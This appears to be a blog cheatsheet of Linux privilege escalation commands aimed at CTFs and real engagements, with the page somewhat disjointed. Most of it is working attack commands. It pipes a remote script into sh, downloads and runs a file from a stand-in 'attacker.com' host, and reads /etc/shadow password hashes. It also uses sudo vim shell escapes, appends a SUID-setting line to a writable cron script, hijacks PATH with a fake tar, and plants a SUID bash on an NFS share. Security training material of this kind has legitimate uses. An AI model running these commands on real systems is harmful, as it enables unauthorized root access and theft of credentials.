Getting a shell is step one. Getting root is the goal. This cheatsheet organizes every Linux privilege escalation technique with the exact commands you need during CTFs and real engagements.
Automated Enumeration First
Always run automated tools before manual checks — they’re fast and thorough.
# LinPEAS (most comprehensive) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # Or transfer and run: wget http://attacker.com/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
# OS and kernel uname -a # kernel version cat /etc/os-release cat /proc/version lsb_release -a
# Users id# current user/groups whoami cat /etc/passwd # all users cat /etc/shadow # password hashes (if readable) cat /etc/group # groups last # recent logins w # who is logged in
Sudo Misconfigurations
sudo -l # list sudo privileges
NOPASSWD entries
# (root) NOPASSWD: /bin/vim sudo vim -c '!sh' sudo vim -c ':!/bin/sh'
# (root) NOPASSWD: /usr/bin/somescript.sh — if the script calls commands without full path cat somescript.sh # shows: systemctl restart nginx (no full path)
# Shared library hijacking with SUID binary ldd /usr/bin/suid_binary # check linked libraries # If a library doesn't exist or is writable, write your own
Cron Job Exploitation
# List cron jobs cat /etc/crontab ls -la /etc/cron.* crontab -l cat /var/spool/cron/crontabs/root
# Watch for new cron processes pspy64 # see processes as they spawn
Writable script called by cron
# cron runs: */5 * * * * root /opt/cleanup.sh ls -la /opt/cleanup.sh # check if writable echo'chmod +s /bin/bash' >> /opt/cleanup.sh # Wait for cron to run, then: bash -p
PATH hijacking in cron
# crontab: PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin # cron runs: backup.sh which calls: tar (no full path) mkdir /tmp/evil echo'#!/bin/bash\nchmod +s /bin/bash' > /tmp/evil/tar chmod +x /tmp/evil/tar # If /tmp is in PATH before /bin in cron's PATH, exploit fires
# If no_root_squash is set, root on client = root on share # On attacker machine: mount -t nfs target:/shared /mnt/nfs cd /mnt/nfs cp /bin/bash . chmod +s ./bash # On target machine: /shared/bash -p # root shell
Kernel Exploits
Use as a last resort — can crash the system.
# Check kernel version uname -r # → 5.4.0-42-generic
No comments yet. Be the first.